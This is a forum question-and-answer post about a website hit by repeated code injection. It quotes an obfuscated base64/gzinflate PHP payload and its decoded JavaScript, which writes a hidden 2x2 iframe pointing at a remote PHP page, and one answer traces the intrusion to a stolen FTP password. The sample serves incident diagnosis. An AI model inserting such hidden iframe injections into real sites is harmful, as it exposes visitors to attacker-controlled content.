Website iframe attack - inserts code into source

Question

Over the last few days, my website has repeatedly been the target of an iframe attack. The code is appended mainly to PHP and Javascript pages. The code is then PHP base 64 encoded, see example (I've changed the code slightly to neutralise it):

#c3284d#
echo(gzinflate(base64_decode("aJ1yhA3pkW4cWnUnmFluNmeq66wqE0OmVRcMUP3WQAupFZFGgaJvSE7IZH67z5S8    VwMxbWwg/TRkFvtPyCw9AGGzqRm8Qi/1LV6+9MdTtf9rtXb8e4L")));
#/c3284d#

This decoded looks something like this:

<script type="text/javascript">
    document.write(
        '<iframe src="http://opticmoxie.com/xxxxxxx.php"     
         name="Twitter" scrolling="auto" frameborder="no" 
         align="center" height="2" width="2"></iframe>'
    );

The one thing in common is that all the code has the comment "#c3284d#" so tracking down the malicious code is not difficult. But it is time consuming...

We're on a shared server at Gradwell (UK) and they have not been particularly helpful. So the question is what can I do to stop this issue from repeating itself? I am aware of MySQL Injection attacks and use PHP's mysql_real_escape_string to guard against such attacks.

The site is PHP and MySQL drive. We use MySQLFTP and have a shell account for SSH access. We use Wordpress (latest update with plugins de-activated).

Answer 1

I had the same issue. The FTP server's access logs showed that the modifications were made using a hacked FTP password.